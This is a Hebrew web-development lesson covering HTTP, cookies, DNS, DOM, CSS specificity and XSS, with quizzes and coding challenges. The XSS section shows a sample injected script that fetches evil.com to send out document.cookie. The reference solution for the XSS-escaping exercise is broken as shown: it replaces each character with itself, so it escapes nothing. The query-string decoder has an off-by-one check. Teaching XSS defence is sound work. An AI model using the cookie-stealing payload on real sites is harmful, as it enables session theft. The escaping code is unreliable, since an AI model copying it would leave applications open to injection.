// סקירה
שיעור 15 — מבוא ל-Web: HTTP, DOM, CSS
שיעור הבסיס לכל פיתוח Web. תבין איך דפדפן מתקשר עם שרת, איך HTML הופך לדף גלוי, ואיך CSS קובע מה מוצג ואיך. ידע קריטי לשאלון ולפרויקט.
✓ נושאי השיעור
HTTP — Methods, Status Codes, Headers, Cookies, Security Headers
DNS Resolution — מדומיין לIP, TTL, Cache
DOM — עץ הדף, Node Types, traversal
HTML5 — Semantic Tags, Forms, תגיות נכונות
CSS — Box Model, Specificity, Flexbox, Grid, Responsive
אבטחה — XSS, CORS, Same-Origin Policy, Security Headers
Critical Rendering Path — DOM→CSSOM→Render Tree→Layout→Paint
🎯 קשר למיון
שאלון Web: HTTP methods/status, DOM manipulation, CSS specificity, XSS, Cookies. פרויקט Frontend: כל הכלים האלה הם הבסיס.
// פרק 1
HTTP — יסודות התקשורת
HTTP הוא פרוטוקול בקשה-תגובה. הדפדפן שולח Request, השרת מחזיר Response. כל דף, תמונה, ו-API call = HTTP.
HTTP Methods
Method שימוש Idempotent? Body?
GET קריאת נתונים — URL בלבד ✅ ❌
POST יצירת משאב / שליחת נתונים ❌ ✅
PUT עדכון מלא של משאב ✅ ✅
PATCH עדכון חלקי ❌ ✅
DELETE מחיקת משאב ✅ אופציונלי
Status Codes
קוד משמעות מתי?
200 OK הצלחה GET/PUT הצליח
201 Created נוצר POST הצליח
301/302 Redirect URL עבר, Permanent/Temp
400 Bad Request בקשה שגויה פרמטר חסר
401 Unauthorized לא מזוהה חסרה הזדהות
403 Forbidden אסור מזוהה אבל חסרה הרשאה
404 Not Found לא נמצא משאב לא קיים
500 Server Error שגיאת שרת Bug בשרת
Security Headers חשובים
Header הגנה מ דוגמה
X-Frame-Options Clickjacking DENY / SAMEORIGIN
Strict-Transport-Security SSL Stripping max-age=31536000
Content-Security-Policy XSS script-src 'self'
X-Content-Type-Options MIME sniffing nosniff
Cookies ו-Flags
Set-Cookie: auth=TOKEN; HttpOnly; Secure; SameSite=Strict; Max-Age=3600
// HttpOnly — לא נגיש ל-JS (הגנה מ-XSS)
// Secure — רק HTTPS
// SameSite — Strict: לא cross-site (הגנה מ-CSRF)
// Max-Age — פג תוקף בשניות
✏ תרגול — HTTP4 שאלות
שאלה 1
משתמש מנסה לגשת ל-/admin ללא הזדהות. איזה Status Code?
א 403 Forbidden: הנחה שגויה שהמשתמש מזוהה אך חסר הרשאה, אף שכאן הוא אינו מזוהה כלל ולכן הקוד המתאים הוא 401 בפועל כאןב 404 Not Found: הנחה שגויה שהמשאב המבוקש אינו קיים, אף שהבעיה היא היעדר הזדהות ולכן הקוד המתאים הוא 401 ולא 404 כאןג 401 Unauthorized: המשתמש אינו מזוהה כלל ולכן נדרשת הזדהות, בשונה מ-403 שבו המשתמש מזוהה אך חסר את ההרשאה הנדרשתד 302 Redirect: הנחה שגויה שמדובר בהפניה זמנית לדף אחר, אף שהיעדר ההזדהות מחזיר 401 ולא הפניה זמנית של 302 בפועל כאן
✓ תשובה: ג) 401 — לא מזוהה כלל → 401 (נדרשת הזדהות). 403 = מזוהה אבל אין הרשאה.
שאלה 2
איזה HTTP method הוא Idempotent (הפעלה חוזרת = אותה תוצאה)?
א GET ו-DELETE: הפעלה חוזרת שלהם מובילה לאותו מצב, שכן GET אינו משנה ומחיקה חוזרת משאירה את המשאב חסר גם בפעם הבאהב POST בלבד: הנחה שגויה ש-POST הוא בעל אותה תוצאה בהפעלה חוזרת, אף שהוא יוצר משאב חדש בכל קריאה ואינו אחיד בכלל כאןג PATCH בלבד: הנחה שגויה ש-PATCH מובטח לאותה תוצאה תמיד, אף שהמתודות בעלות התוצאה האחידה הן GET ו-DELETE ולא PATCHד רק PUT ולא אף מתודה נוספת: הנחה שגויה שרק PUT הוא כזה, אף שגם GET וגם DELETE הם בעלי תוצאה אחידה בהפעלה חוזרת כאן
✓ תשובה: א) — GET (תמיד), DELETE (אחרי מחיקה = 404, מצב אחיד), PUT. POST יוצר חדש בכל קריאה.
שאלה 3
מה cookie עם flag HttpOnly?
א נשלח רק על גבי חיבור HTTPS מאובטח: הנחה שגויה, אף שזהו תפקידו של הדגל Secure ולא של הדגל HttpOnly שחוסם גישת קוד כאןב פג תוקפו באופן אוטומטי לאחר שעה אחת: הנחה שגויה, אף שתוקף ה-cookie נקבע בשדה נפרד ואינו קשור כלל לדגל HttpOnly כאןג אינו נגיש ל-JavaScript, ולכן גם אם תקיפת XSS הצליחה היא לא תוכל לקרוא את ה-cookie באמצעות document.cookie בדף כאןד מוצפן באופן אוטומטי על ידי הדפדפן: הנחה שגויה, אף שהדגל HttpOnly חוסם גישת JavaScript ואינו מבצע הצפנה כלשהי כלל כאן
✓ תשובה: ג) — HttpOnly = לא ניתן לקרוא ב-document.cookie . גם אם XSS הצליח, לא יוכל לגנוב את ה-cookie.
שאלה 4
מה עושה X-Frame-Options: DENY?
א מגן מפני תקיפות XSS בתוך הדף: הנחה שגויה, אף שהכותרת מונעת הטמעה ב-iframe ומגנה מ-Clickjacking ואינה מגנה מ-XSS כללב מונע את הטמעת הדף בתוך iframe, ובכך מגן מפני Clickjacking שבו אתר שקוף גורם ללחיצה של המשתמש ללא ידיעתו כלל כאןג מחייב שימוש בחיבור HTTPS מאובטח: הנחה שגויה, אף שהכותרת מונעת הטמעה ב-iframe ואינה קשורה כלל לכפיית חיבור HTTPS כאןד מגביל את גודל ה-Cookies של הדף: הנחה שגויה, אף שהכותרת מונעת הטמעה ב-iframe ואינה קשורה כלל לגודל ה-Cookies של הדף
✓ תשובה: ב) — Clickjacking = הטמנת אתר ב-iframe שקוף ולגרום ללחיצה בלי ידיעה. X-Frame-Options: DENY חוסם הטמנה כל שהיא.
// פרק 2
DNS ו-Critical Rendering Path
DNS ממיר שמות לכתובות IP. ה-CRP הוא הנתיב מ-HTML גולמי עד פיקסלים על המסך.
DNS Resolution — שלבי הזרימה
// כשמקלידים "example.com":
1. Cache מקומי (דפדפן/OS) — הכי מהיר
2. /etc/hosts — קובץ מקומי
3. DNS Resolver (ISP) — Recursive query
4. Root → TLD (.com) → Authoritative NS
5. מקבל IP → שומר ב-Cache לפי TTL
// TTL נמוך (60s): עדכון מהיר, load גבוה על DNS
// TTL גבוה (86400s=יום): מהיר, אבל שינוי IP = יום להתפשט
Critical Rendering Path
שלב מה קורה חוסם?
HTML Parsing → DOM בניית עץ ה-DOM JS חוסם!
CSS Parsing → CSSOM בניית עץ הסגנונות CSS חוסם Rendering!
Render Tree DOM + CSSOM — רק אלמנטים גלויים —
Layout חישוב גדלים ומיקומים Reflow = יקר!
Paint ציור פיקסלים Repaint = זול יותר
הרחבה שאלת ראיון — "מה קורה כשמקלידים URL?" ›
1. URL Parsing: Protocol+Domain+Path+Query · 2. DNS: Cache→ISP→Root→TLD→Authoritative · 3. TCP: SYN, SYN-ACK, ACK · 4. TLS (HTTPS): Certificate+key exchange · 5. HTTP GET /path עם Headers · 6. Response: 200 OK + HTML · 7. HTML→DOM, CSS→CSSOM · 8. JS Execution (שינוי DOM) · 9. Render Tree→Layout→Paint
✏ תרגול — DNS + CRP3 שאלות
שאלה 1
מה TTL ב-DNS?
א מספר הפעולות המבוצעות בכל שאילתה: הנחה שגויה, אף ש-TTL מציין את זמן תוקף הרשומה במטמון ואינו מספר הפעולות שבשאילתהב מספר שרתי ה-DNS הזמינים ברשת כולה: הנחה שגויה, אף ש-TTL מציין את זמן תוקף הרשומה במטמון ואינו מספר השרתים ברשת כאןג זמן תוקף הרשומה במטמון, כאשר ערך נמוך גורם לעדכון מהיר יותר וערך גבוה מפחית את מספר הפניות שנעשות לשרת ה-DNS כאןד גודל ה-packet של שאילתת ה-DNS: הנחה שגויה, אף ש-TTL מציין את זמן תוקף הרשומה במטמון ואינו גודל ה-packet של השאילתה
✓ תשובה: ג) — TTL (Time To Live) = כמה זמן ה-DNS record נשמר ב-cache. TTL=60s: כל דקה שואלים שרת DNS מחדש.
שאלה 2
מה ההבדל בין Reflow ל-Repaint?
א Reflow הוא חישוב מחדש של ה-layout והוא יקר, ואילו Repaint הוא ציור מחדש ללא שינוי ב-layout ולכן זול יותר בביצוע כאןב שני המושגים זהים לחלוטין זה לזה: הנחה שגויה, אף ש-Reflow מחשב את ה-layout מחדש ו-Repaint רק צובע מחדש ללא שינוי כזהג Repaint יקר יותר מ-Reflow בביצוע: הנחה שגויה, אף שדווקא Reflow הוא היקר יותר שכן הוא מחשב את ה-layout כולו מחדש כאןד Reflow קשור ל-CSS ו-Repaint ל-JS: הנחה שגויה, אף שההבחנה היא בין חישוב layout לבין ציור מחדש ואינה לפי שפת הקוד כאן
✓ תשובה: א) — Reflow: שינוי width/height/position גורם לחישוב Layout מחדש. Repaint: שינוי color/opacity = ציור מחדש בלבד.
שאלה 3
מה ה-Render Tree?
א שילוב של ה-DOM וה-CSSOM הכולל רק את האלמנטים הגלויים עם הסגנונות המחושבים שלהם, והוא משמש בסיס לשלב ה-Layout בדףב עותק מלא ומדויק של ה-DOM כולו: הנחה שגויה, אף שה-Render Tree משלב DOM ו-CSSOM וכולל רק אלמנטים גלויים בלבד ולא הכולג עץ המתאר את קוד ה-JavaScript בדף: הנחה שגויה, אף שה-Render Tree משלב DOM ו-CSSOM ואינו קשור כלל לקוד ה-JavaScriptד עץ של ה-selectors שבגיליון ה-CSS: הנחה שגויה, אף שה-Render Tree משלב DOM ו-CSSOM ואינו עץ של ה-selectors של הגיליון
✓ תשובה: א) — Render Tree לא כולל: display:none, <head>, <script>. בסיס לשלב Layout.
// פרק 3
DOM ו-HTML5 Semantic
DOM = Document Object Model. העץ שמייצג את הדף בזיכרון. JavaScript מתקשר עם הדף דרך DOM API.
Node Types
Type nodeType דוגמה
Element Node 1 <p>, <div>
Text Node 3 "Hello World" בתוך תגית
Comment Node 8 <!-- comment -->
Document Node 9 document עצמו
innerHTML vs textContent
// innerHTML — מפרסר HTML → סכנת XSS!
el.innerHTML = "<b>Bold</b>"; // מציג: Bold (מודגש)
el.innerHTML = userInput; // XSS! אם userInput = "<script>..."
// textContent — מציג כטקסט גולמי → בטוח!
el.textContent = "<b>Bold</b>"; // מציג: <b>Bold</b> (כמחרוזת)
el.textContent = userInput; // ✅ בטוח תמיד
// כלל: תמיד textContent כשמציגים נתוני משתמש!
HTML5 Semantic Tags
תגית שימוש vs.
<article> תוכן עצמאי (פוסט, מוצר) vs. <section> = קבוצת תוכן
<nav> ניווט ראשי vs. <div> = ללא סמנטיקה
<main> תוכן ראשי, פעם אחת לא <div id="main">
<strong> חשיבות סמנטית (קורי מסך) vs. <b> = עיצוב בלבד
✏ תרגול — DOM + HTML4 שאלות
שאלה 1
לאיזה Node Type שייך הטקסט "Hello" בתוך <p>Hello</p>?
א Text Node מסוג 3: תוכן טקסטואלי מיוצג כצומת טקסט, ואילו התגית p עצמה היא צומת אלמנט מסוג 1 בנפרד ממנו לגמרי כאןב Element Node מסוג 1: הנחה שגויה שהטקסט הוא צומת אלמנט, אף שצומת אלמנט הוא התגית p עצמה והטקסט הוא צומת טקסט מסוג 3ג Attribute Node מסוג 2: הנחה שגויה שהטקסט הוא צומת מאפיין, אף שתוכן טקסטואלי הוא צומת טקסט מסוג 3 ולא צומת מאפיין כאןד Document Node מסוג 9: הנחה שגויה שהטקסט הוא צומת מסמך, אף שצומת המסמך הוא השורש והטקסט הוא צומת טקסט מסוג 3 בלבד כאן
✓ תשובה: א) — תוכן טקסטואלי = Text Node (nodeType 3). התגית <p> עצמה = Element Node (1).
שאלה 2 — XSS
מדוע el.innerHTML = userInput מסוכן?
א איטית יותר מ-textContent בביצוע: הנחה שגויה, אף שהסכנה האמיתית היא הרצת קוד זדוני כ-XSS ואינה עניין של מהירות ביצועב הפקודה מפרשת את הקלט כ-HTML, ולכן אם הקלט מכיל תגית script היא תרוץ ותאפשר תקיפת XSS על המשתמש הנוכחי בדף כאן כןג אינה תומכת בתווי Unicode כלשהם: הנחה שגויה, אף שהסכנה היא פירוש הקלט כ-HTML והרצת script זדוני כ-XSS ולא תמיכת תוויםד אינה מסוכנת כלל בשום מצב שהוא: הנחה שגויה, אף שהיא מפרשת את הקלט כ-HTML ומריצה script זדוני ולכן מסוכנת מאוד בפועל
✓ תשובה: ב) XSS — תמיד textContent כשמציגים input של משתמש. innerHTML רק לתוכן ידוע ובטוח.
שאלה 3
איזו תגית מתאימה לפוסט בבלוג שיכול לעמוד לבדו?
א התגית section: הנחה שגויה שהיא מיועדת לתוכן עצמאי, אף שהיא לקבוצת תוכן בתוך עמוד ואילו article מתאימה לפריט עצמאי שלםב התגית article, שכן היא מיועדת לתוכן עצמאי היכול לעמוד בפני עצמו כמו פוסט או מוצר בשונה מקבוצת תוכן פנימית בעמוד כאןג התגית div: הנחה שגויה שהיא הבחירה הסמנטית הנכונה, אף שהיא כללית וחסרת משמעות ואילו article מתאימה לתוכן עצמאי היכול לעמודד התגית main: הנחה שגויה שהיא מיועדת לפוסט בודד, אף שהיא לתוכן הראשי של העמוד כולו ואילו article מתאימה לפריט עצמאי כאן
✓ תשובה: ב) <article> — תוכן עצמאי שיכול לעמוד לבדו: פוסט, מוצר, הערה. <section> = קבוצת תוכן בתוך עמוד.
שאלה 4
מה ההבדל בין <b> ל-<strong>?
א אין ביניהן כל הבדל מעשי: הנחה שגויה, אף שהתגית b היא עיצוב בלבד בעוד strong נושאת משמעות סמנטית של חשיבות התוכן בדףב התגית strong מציגה Bold חזק יותר: הנחה שגויה, אף שההבדל הוא סמנטי ולא בעובי הגופן שכן strong נושאת משמעות של חשיבותג התגית b היא עיצוב בלבד, ואילו strong נושאת חשיבות סמנטית ולכן קוראי מסך ומנועי חיפוש מדגישים את התוכן שבתוכה כאן כןד התגית b שייכת ל-HTML5 ו-strong ל-HTML4: הנחה שגויה, אף ששתי התגיות קיימות וההבדל ביניהן הוא סמנטי ואינו עניין של גרסה
✓ תשובה: ג) — HTML Semantics: תגיות נושאות משמעות לא רק עיצוב. קורי מסך ומנועי חיפוש מסתמכים על <strong>.
// פרק 4
CSS — Specificity, Box Model, Flexbox
CSS Specificity קובע איזה rule ינצח. Box Model קובע גדלים. Flexbox ו-Grid הם הכלים לפריסה מודרנית.
CSS Specificity — חישוב
💡 חישוב ספציפיות: (IDs, Classes/Pseudo-classes/Attrs, Elements/Pseudo-elements)
#id = 100 ·
.class = 10 ·
:hover = 10 ·
element = 1 ·
::before = 1 ·
* = 0 · inline style = 1000 · !important = עוקף הכל
// #header .nav li:hover — ספציפיות?
// ID=1(#header), Class=1(.nav), Pseudo=1(:hover), Element=1(li)
// (1, 2, 1) → ערך = 121
// p.text → (0, 1, 1) = 011
// nav > ul > li.active:first-child::before
// → Elements: nav+ul+li=3, Class: .active=10, Pseudo-class: :first-child=10, Pseudo-el: ::before=1
// → (0, 2, 4) = 024
Box Model
/* content-box (default): width לא כולל padding! */
.box { width: 200px; padding: 20px; }
/* → גודל בפועל: 240px (200 + 20+20) */
/* border-box: width כולל padding — Best Practice! */
* { box-sizing: border-box; }
.box { width: 200px; padding: 20px; }
/* → גודל בפועל: 200px תמיד ✓ */
Flexbox vs Grid
תכונה Flexbox Grid
ממדים חד-ממדי (שורה או עמודה) דו-ממדי (שניהם)
Content/Layout Content-driven Layout-driven
מתאים ל Nav bar, כפתורים בשורה פריסת עמוד, dashboard
בפועל רכיבים בתוך הדף פריסה כוללת
✏ תרגול — CSS4 שאלות
שאלה 1 — Specificity
מה ספציפיות #header .nav li:hover?
א 111: הנחה שגויה בספירת המשקל של הרכיבים, אף שמזהה ומחלקה ופסבדו ואלמנט מסתכמים ל-121 ולא ל-111 בסופו של דבר בפועל כאןב 120: הנחה שגויה שמתעלמים ממשקל האלמנט li, אף שהאלמנט מוסיף 1 והסכום הכולל של הספציפיות הוא 121 ולא 120 בסופו של דברג 121: המזהה header שווה 100, המחלקה nav והפסבדו hover שווים 10 כל אחד, והאלמנט li שווה 1, וסך הכול מסתכם ל-121 כאןד 130: הנחה שגויה שסופרים מחלקה נוספת מיותרת, אף שיש מחלקה ופסבדו בלבד והסכום הכולל של הספציפיות הוא 121 ולא 130 בסופו
✓ תשובה: ג) 121 — ID(#header)=100, Class(.nav)=10, Pseudo(:hover)=10, Element(li)=1. סה"כ: 100+10+10+1=121.
שאלה 2 — Box Model
רוצים שאלמנט בגודל 200px כולל padding של 20px. מה נכתוב?
א הכתיבה width שווה 200px ו-padding שווה 20px עם box-sizing שווה border-box, שכן border-box כולל את ה-padding בתוך הרוחבב width שווה 200px ו-padding שווה 20px בברירת המחדל: הנחה שגויה, אף שללא border-box הרוחב הכולל מגיע ל-240px ולא ל-200pxג width שווה 160px עם padding שווה 20px: הנחה שגויה, אף שהדרך הנכונה היא width שווה 200px עם box-sizing שווה border-boxד width שווה 200px עם margin שווה 20px: הנחה שגויה, אף ש-margin הוא חיצוני לתיבה והפתרון הוא padding עם box-sizing כזה
✓ תשובה: א) — עם border-box: width כולל padding. ללא: 200+40=240px. best practice: * { box-sizing: border-box; }
שאלה 3 — Flexbox
מה עושה justify-content: space-between?
א ממרכז את כל האלמנטים במרכז המכל: הנחה שגויה, אף ש-space-between מפזר את האלמנטים לקצוות עם מרווחים שווים ואינו ממרכז כאןב מוסיף padding פנימי לכל האלמנטים: הנחה שגויה, אף ש-space-between מפזר את האלמנטים במרווחים שווים ואינו מוסיף padding כללג מרווחים שווים בין האלמנטים ללא מרווח בקצוות, כאשר הראשון צמוד לקצה השמאלי והאחרון צמוד לקצה הימני של המכל שמסביבםד מסדר את כל האלמנטים בטור אנכי: הנחה שגויה, אף ש-space-between מפזר במרווחים שווים ואינו קובע את כיוון הציר של המכל כאן
✓ תשובה: ג) — space-between: מרווחים שווים, ללא מרווח בקצוות. space-around: יש מרווח גם בקצוות.
שאלה 4 — CORS
מה CORS ולמה הדפדפן חוסם בקשות cross-origin?
א מדיניות אותו-מקור מונעת מ-JavaScript לקרוא תגובות ממקור אחר, וכותרות CORS מן השרת הן שמתירות זאת במפורש לדפדפן כאןב מנגנון להצפנת הבקשות ברשת: הנחה שגויה, אף ש-CORS נוגע למדיניות אותו-מקור ולקריאת תגובות ואינו מנגנון להצפנת הבקשות כללג פרוטוקול לניהול המטמון של הדפדפן: הנחה שגויה, אף ש-CORS נוגע למדיניות אותו-מקור ואינו פרוטוקול לניהול המטמון של הדפדפןד מנגנון לדחיסת התוכן הנשלח בבקשה: הנחה שגויה, אף ש-CORS נוגע למדיניות אותו-מקור ואינו מנגנון לדחיסת התוכן הנשלח בבקשה
✓ תשובה: א) — Origin = Protocol+Domain+Port. JS ב-a.com לא יכול לקרוא תשובות מ-b.com. שרת B מוסיף Access-Control-Allow-Origin לאפשר.
// פרק 5 + סיכום
אבטחת Web וסיכום
XSS ו-CORS הם שתי הסכנות הנפוצות ביותר ב-Web. הבנתן קריטית גם לפיתוח וגם לסייבר.
XSS — Cross-Site Scripting
// תוקף שולח ב-URL:
?q=<script>fetch("evil.com/steal?c="+document.cookie)</script>
// אם האתר עושה:
resultsDiv.innerHTML = query; // ← XSS! הscript ירוץ
// הגנות:
resultsDiv.textContent = query; // ✅ בטוח
// + Content-Security-Policy header
// + HttpOnly cookies (JS לא יכול לקרוא)
HTTP Stateless + Cookies
💡 מדוע Cookies קיימים?
HTTP הוא Stateless — כל בקשה עצמאית, השרת לא "זוכר" שהתחברת. Cookies = token שנשלח בכל בקשה כדי לזהות את המשתמש. סכנה: Session Hijacking (גניבת cookie) ו-CSRF (שליחת בקשות ממקור אחר).
✓ מה למדנו — שיעור 15
HTTP Methods: GET/POST/PUT/PATCH/DELETE · Status Codes: 200/401/403/404/500
Cookies: HttpOnly, Secure, SameSite, Max-Age · Security Headers: X-Frame-Options, HSTS, CSP
DNS: Resolution שלבים, TTL low/high tradeoff
CRP: DOM→CSSOM→Render Tree→Layout→Paint · Reflow (יקר) vs Repaint
DOM: innerHTML (XSS!) vs textContent (בטוח). Node Types.
HTML5: Semantic Tags — <article> vs <section>, <strong> vs <b>
CSS Specificity: (IDs, Classes, Elements). Box Model: border-box. Flexbox vs Grid.
CORS: Same-Origin Policy. XSS: הגנות. Stateless: למה Cookies.
🎯 שיעור הבא — שיעור 16
JavaScript — ES6+, DOM Manipulation, Event Loop, Promises, async/await, Fetch API
✏ תרגול סיכום — גאמא סטייל4 שאלות
סיכום 1
מה ספציפיות: nav > ul > li.active:first-child::before?
א 024: שלושת האלמנטים והפסבדו-אלמנט before מסתכמים ל-4, והמחלקה active והפסבדו first-child מסתכמים ל-2, וסך הכול 024ב 023: הנחה שגויה שלא סופרים את הפסבדו-אלמנט before, אף שהוא מוסיף למשקל האלמנטים והסכום הכולל של הספציפיות הוא 024 כאןג 034: הנחה שגויה שסופרים מחלקה נוספת מיותרת, אף שיש מחלקה ופסבדו-מחלקה בלבד והסכום הכולל של הספציפיות הוא 024 ולא 034ד 014: הנחה שגויה שסופרים אלמנט אחד פחות מהנדרש, אף שיש שלושה אלמנטים ופסבדו-אלמנט והסכום הכולל של הספציפיות הוא 024 כאן
✓ תשובה: א) 024 — Elements: nav+ul+li=3 + ::before=1=4. Classes: .active=10. Pseudo-class: :first-child=10. סה"כ: (0,2,4)=024.
סיכום 2
מה עושה CSS: grid-template-columns: repeat(auto-fit, minmax(250px, 1fr))?
א יוצר בדיוק 250 עמודות בשורה אחת: הנחה שגויה, אף ש-250px הוא הרוחב המזערי של כל עמודה ואינו מספר העמודות שנוצרות בשורהב מגביל את הרשת לעמודה אחת בלבד: הנחה שגויה, אף ש-auto-fit יוצר עמודות רבות ככל שנכנסות ברוחב המסך הזמין ולא עמודה אחתג זוהי שגיאת תחביר שאינה תקינה כלל: הנחה שגויה, אף שזהו תחביר תקין ליצירת רשת רספונסיבית עם עמודות גמישות ללא כל שגיאהד עמודות גמישות שכל אחת מהן ברוחב 250px לכל הפחות, כאשר מספר העמודות נקבע לפי רוחב המסך הזמין באותו רגע נתון בדף כאן
✓ תשובה: ד) — auto-fit: כמה עמודות שנכנסות. minmax(250px, 1fr): כל עמודה לפחות 250px. זהו ה-Responsive Grid הקלאסי.
סיכום 3 — Bug Hunt
מצא את השגיאות בקוד: <form action="/login" method="GET">
<input type="text" name="password">
<script>
el.innerHTML = location.search;
</script>
א שגיאה אחת בלבד של ה-method שהוא GET: הנחה שגויה, אף שיש גם שדה סיסמה מסוג text וגם שימוש מסוכן ב-innerHTML כשגיאות נוספותב רק השימוש ב-innerHTML הוא שגוי כאן: הנחה שגויה, אף שיש גם method מסוג GET שחושף סיסמאות וגם שדה סיסמה מסוג text כשגיאותג אין כל שגיאות בקוד שהוצג כאן: הנחה שגויה, אף שקיימות שלוש שגיאות של ה-method ושל ה-type של הסיסמה ושל השימוש ב-innerHTMLד שלוש שגיאות: ה-method הוא GET וחושף סיסמאות ב-URL, ה-type הוא text במקום password, וה-innerHTML פותח פרצת XSS בדף
✓ תשובה: ד) 3 שגיאות: (1) method="POST" לllogin. (2) type="password" לשדה סיסמה. (3) textContent במקום innerHTML = XSS!
סיכום 4 — CSS Specificity Winner
מה צבע <p id="intro" class="text">?p{color:black} .text{color:blue} #intro{color:green} p.text{color:red}
א אדום: הנחה שגויה שהכלל p.text במשקל 11 גובר, אף שהמזהה intro במשקל 100 גבוה ממנו בהרבה ולכן הצבע הוא ירוק ולא אדום כאןב כחול: הנחה שגויה שהמחלקה text במשקל 10 גוברת, אף שהמזהה intro במשקל 100 גבוה ממנה בהרבה ולכן הצבע הוא ירוק ולא כחולג ירוק: המזהה intro במשקל 100 מנצח את המחלקה ואת האלמנט, ולכן הכלל של המזהה גובר וקובע את הצבע לירוק בסופו של דבר כאןד שחור: הנחה שגויה שהאלמנט p במשקל 1 גובר, אף שהמזהה intro במשקל 100 גבוה בהרבה ולכן הצבע הוא ירוק ולא שחור בסופו כאן
✓ תשובה: ג) ירוק — A=1, B=10, C=100(ID!), D=11. ID (100) ינצח תמיד על Class ו-Element.
🎯 דגש למבחן — סינון מהיר של שאלות XSS
בשאלת XSS חפשו קודם כל את
innerHTML: כל הזרמה של קלט משתמש אליו מפרסרת HTML ומריצה סקריפט — זו נקודת הפריצה.
textContent כותב טקסט בלבד ואינו מריץ קוד, ולכן הוא כמעט תמיד התשובה הבטוחה.
// אתגר מעשי
אתגר מעשי — Web: HTTP, CSS ואבטחה (XSS)
שיא השיעור: לממש את הלוגיקה שמאחורי ה-Web — פרסור, אירועים, state ואבטחה. פתרו את החובה ואז את האתגר; ההגשה נבדקת אוטומטית מול מקרי-קצה נסתרים.
T2 · בסיסי 150 נק' ~12 דק' debug
תיקון באג — מגן XSS (HTML escaping)
פונקציית ה-escaping אמורה לחסן קלט משתמש לפני הזרקה ל-HTML, כדי למנוע XSS. אך היא שבורה: היא בורחת רק מ-< ו->, ומשאירה & ומרכאות ללא טיפול — מה שמאפשר הזרקת מאפיינים ותקיפה. תקן כך שהיא תברח מ- & (ראשון!), <, >, " ו-'. שים לב לסדר: & חייב להיות ראשון, אחרת תיווצר בריחה כפולה.
// הקוד השבור לתיקון
def html_escape(s: str) -> str:
return s.replace('<', '<').replace('>', '>') # באג כאן
דוגמאות
html_escape('<b>') → '<b>'
html_escape('a & b') → 'a & b'
html_escape('<a href="x">') → '<a href="x">'
הפתרון שלך הפתרון נשמר מקומית ומשותף עם עמוד „כתיבת קוד”.
פתרון-ייחוס תיקון באג — מגן XSS (HTML escaping) › def html_escape(s: str) -> str:
return (s.replace('&', '&') # & חייב להיות ראשון!
.replace('<', '<')
.replace('>', '>')
.replace('"', '"')
.replace("'", '''))
T2 · בסיסי 200 נק' ~15 דק' algorithmic
פרסור Query String של HTTP
ממש parse_query שמפרק query string לרשימת ערכים לכל מפתח. פצל על '&', ובכל זוג פצל על '=' הראשון (חסר '=' → ערך ריק). פענח percent-encoding (%XX → תו) ו-'+' → רווח, גם במפתח וגם בערך. מפתחות חוזרים נאספים לרשימה לפי הסדר. מחרוזת ריקה → מילון ריק.
דוגמאות
parse_query('a=1&b=2') → {'a': ['1'], 'b': ['2']}
parse_query('a=1&a=2') → {'a': ['1', '2']}
parse_query('x=hello+world') → {'x': ['hello world']}
הפתרון שלך הפתרון נשמר מקומית ומשותף עם עמוד „כתיבת קוד”.
פתרון-ייחוס פרסור Query String של HTTP › def _decode(s):
out = []; i = 0
while i < len(s):
c = s[i]
if c == '+': out.append(' '); i += 1
elif c == '%' and i + 2 < len(s):
out.append(chr(int(s[i+1:i+3], 16))); i += 3
else: out.append(c); i += 1
return ''.join(out)
def parse_query(qs: str) -> dict:
res = {}
if not qs: return res
for part in qs.split('&'):
if '=' in part: k, v = part.split('=', 1)
else: k, v = part, ''
res.setdefault(_decode(k), []).append(_decode(v)) # מפתח חוזר -> רשימה
return res
T3 · בינוני 350 נק' ~25 דק' algorithmic
חישוב CSS Specificity
חשב את ה-specificity של selector של CSS והחזר שלשה (a, b, c): a = מספר מזהי-#id · b = מספר מחלקות .class + מאפיינים [attr] + מחלקות-פסאודו :hover · c = מספר אלמנטים (שמות תגיות) + אלמנטים-פסאודו ::before. '*' לא נספר. הפרד קטגוריות בזהירות: '::' (אלמנט-פסאודו) נספר כ-type ולא כמחלקה.
דוגמאות
specificity('#nav .item a:hover') → (1, 2, 1)
specificity('ul li.active') → (0, 1, 2)
specificity('a::before') → (0, 0, 2)
הפתרון שלך הפתרון נשמר מקומית ומשותף עם עמוד „כתיבת קוד”.
פתרון-ייחוס חישוב CSS Specificity › import re
def specificity(sel: str) -> tuple:
a = b = c = 0
pe = re.findall(r'::[\w-]+', sel); c += len(pe); sel = re.sub(r'::[\w-]+', ' ', sel)
a += len(re.findall(r'#[\w-]+', sel)); sel = re.sub(r'#[\w-]+', ' ', sel) # ids
b += len(re.findall(r'\.[\w-]+', sel)); sel = re.sub(r'\.[\w-]+', ' ', sel) # classes
b += len(re.findall(r'\[[^\]]*\]', sel)); sel = re.sub(r'\[[^\]]*\]', ' ', sel) # attrs
b += len(re.findall(r':[\w-]+', sel)); sel = re.sub(r':[\w-]+', ' ', sel) # pseudo-classes
c += len(re.findall(r'[a-zA-Z][\w-]*', sel)) # elements
return (a, b, c)